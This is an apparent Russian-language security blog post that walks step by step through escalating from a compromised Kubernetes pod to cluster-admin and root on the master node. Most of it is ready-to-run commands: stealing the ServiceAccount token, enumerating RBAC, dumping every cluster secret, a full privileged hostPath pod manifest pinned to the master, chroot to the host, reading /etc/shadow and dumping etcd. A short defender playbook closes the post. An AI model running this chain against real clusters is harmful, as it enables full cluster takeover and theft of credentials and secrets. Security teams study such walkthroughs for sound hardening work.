Kubernetes Jailbreak: от пода до cluster-admin за 5 шагов
Один скомпрометированный под → неправильный RBAC → cluster-admin за несколько минут. Ни одного CVE, ни одного kernel exploit — только цепочка мисконфигов, которые встречаются в 35%+ реальных кластеров. Buckle up.
Контекст: почему K8s — это клондайк
В марте 2026 CSO Online зафиксировал резкий рост атакующего инструментария под Kubernetes — от привилегий через exposed API-серверы до lateral movement через service meshes. RBAC-мисконфиги по-прежнему ответственны за более чем 35% компрометаций кластеров. Лучшее, что может сказать атакующий про K8s: «Я не взламываю, я просто логинюсь».
Типичная цепочка атаки выглядит так:
|
1 2 3 4 5 6 7 8 9 |
RCE в приложении ↓ Контейнер скомпрометирован ↓ ServiceAccount токен украден ↓ Weak RBAC → cluster-admin ↓ Master node / etcd owned |
Шаг 1: Получаем шелл в поде
Начальный вектор — RCE (Command Injection, SSTI, Log4Shell-подобные). Оказавшись внутри, первым делом читаем автоматически примонтированный ServiceAccount токен:
|
1 2 3 4 5 |
# Токен лежит здесь на КАЖДОМ поде — по умолчанию в K8s cat /var/run/secrets/kubernetes.io/serviceaccount/token # Декодируем JWT (Base64): echo "<TOKEN>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool |
Внутри JWT ищем sub: system:serviceaccount:default:default — это подтверждает, что под работает от default service account. Этот токен всегда существует, даже если поду API не нужен.
Шаг 2: Энумерация RBAC-привилегий
Скачиваем статичный kubectl прямо в под и проверяем права:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Тащим kubectl от имени скомпрометированного SA curl -LO "https://dl.k8s.io/release/v1.32.0/bin/linux/amd64/kubectl" chmod +x kubectl # Магический вопрос: а что вообще можно? ./kubectl auth can-i --list # Shortcut — сразу проверяем cluster-admin ./kubectl auth can-i '*' '*' --all-namespaces # Если ответ "yes" — ты уже выиграл # Ищем опасные ClusterRoleBindings ./kubectl get clusterrolebindings -o json | \ jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' |
Цель — найти binding, где subjects содержит system:serviceaccount:default:default. Это означает: любой под в default namespace имеет неограниченный доступ к API кластера.
Шаг 3: Разведка через API-сервер
Раз у нас cluster-admin — можно читать всё. Дампим секреты kube-system, ищем kubeconfig файлы и токены более привилегированных SA:
|
1 2 3 4 5 6 7 8 9 10 11 |
# Дамп всех секретов кластера ./kubectl get secrets --all-namespaces -o json | jq '.' # Особо интересен kube-system — там живут системные компоненты ./kubectl get secrets -n kube-system -o yaml # Ищем kubeconfig файлы на файловой системе ноды (если есть hostPath) find /host -name "*.kubeconfig" -o -name "admin.conf" 2>/dev/null # Смотрим что за поды живут на нодах (ищем trampoline pods) ./kubectl get pods --all-namespaces -o wide | grep -E "cilium|calico|prometheus|istio" |
DaemonSet’ы — особая цель: они работают на всех нодах, часто с повышенными привилегиями, и могут стать «трамплином» для прыжка на мастер.
Шаг 4: Деплоим Privileged Pod на Master Node
Главный мув — создаём pod с hostPath: /, privileged: true и явно указываем nodeName: master. Полная комбинация флагов — это буквально root на хосте:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# rbac-pwn.yaml — деплоим на master, монтируем всю файловую систему apiVersion: v1 kind: Pod metadata: name: pwned-master namespace: default spec: hostNetwork: true # доступ к сетевому стеку хоста hostPID: true # видим все процессы хоста hostIPC: true # доступ к IPC хоста containers: - name: shell image: alpine:latest command: ["/bin/sh", "-c", "sleep 9999"] securityContext: privileged: true # полный доступ к devices хоста volumeMounts: - name: host-root mountPath: /host # монтируем / хоста сюда volumes: - name: host-root hostPath: path: / # ВСЯ файловая система хоста nodeName: master # <-- форсируем запуск на master node tolerations: - key: "node-role.kubernetes.io/control-plane" operator: "Exists" effect: "NoSchedule" |
|
1 2 3 |
# Деплоим и ждём ./kubectl apply -f rbac-pwn.yaml ./kubectl get pods -w # ждём Running |
Шаг 5: Shell на Master + Дамп etcd
Теперь получаем интерактивный шелл внутри привилегированного пода на мастере и выходим на хост:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
# Входим в под ./kubectl exec -it pwned-master -- /bin/sh # Верификация — мы на master? cat /host/etc/hostname # должно показать 'master' ifconfig | grep "inet " # IP master-ноды # Читаем /etc/shadow (хэши паролей) cat /host/etc/shadow # Дамп сертификатов кластера ls /host/etc/kubernetes/pki/ # ca.crt, apiserver.key, etcd/... # Выход за пределы namespace через chroot chroot /host /bin/bash # Теперь мы root на master node физически # Дамп etcd — все секреты кластера в открытом виде ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/server.crt \ --key=/etc/kubernetes/pki/etcd/server.key \ get / --prefix --keys-only # листаем все ключи # Дамп конкретного секрета из etcd ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret |
Параллельная сессия на мастере покажет идентичный hostname и файлы — полное подтверждение компрометации.
Сводка по цепочке атаки
| Шаг | Техника | Мисконфиг | Цель |
|---|---|---|---|
| 1 | RCE / Container Escape | Уязвимое приложение | Shell в поде |
| 2 | SA Token Theft | automountServiceAccountToken: true | JWT токен |
| 3 | RBAC Enum | default SA → cluster-admin | Wildcard права |
| 4 | Privileged Pod Deploy | privileged: true + hostPath | Master Node |
| 5 | chroot + etcd dump | Exposed etcd без auth | Весь кластер |
CVE-2025-4563: NodeRestriction Bypass
Это не чисто мисконфиг — это свежая уязвимость уровня компоненты. Admission controller NodeRestriction корректно валидирует resource claim status при обновлении пода, но не при создании. Скомпрометированная нода может создавать mirror pods, получая доступ к ресурсам, которые ей запрещены. Нужна активированная feature gate DynamicResourceAllocation — включена по умолчанию в K8s 1.31+.
Трамплины: скрытая угроза DaemonSet’ов
CNI-плагины (Cilium, Calico) и мониторинг (Prometheus) работают как DaemonSet на каждой ноде с расширенными правами. Классический Cilium-exploit: обнулить pod capacity других нод → убить cilium-operator → вытащить встроенный мощный токен → добавить себе права через ClusterRole.
Defender Playbook
- Отключи автомонтирование токенов где они не нужны:
automountServiceAccountToken: falseв spec пода - Никогда не биндь
cluster-adminкdefaultSA — это прямой пропуск для любого скомпрометированного пода - Запрети privileged containers и hostPath через OPA Gatekeeper или Kyverno политики
- Аудити RBAC регулярно инструментами
rakkess,kubeaudit,rbac-police - Включи NodeRestriction admission controller и обнови кластер до патченной версии при CVE-2025-4563
- Шифруй etcd at rest и закрой порт 2379 от любого доступа кроме API-сервера
- eBPF-мониторинг runtime через Falco или Cilium Tetragon — детектируй privilege escalation внутри пода в реальном времени

На этомв все. Всем хорошего дня!
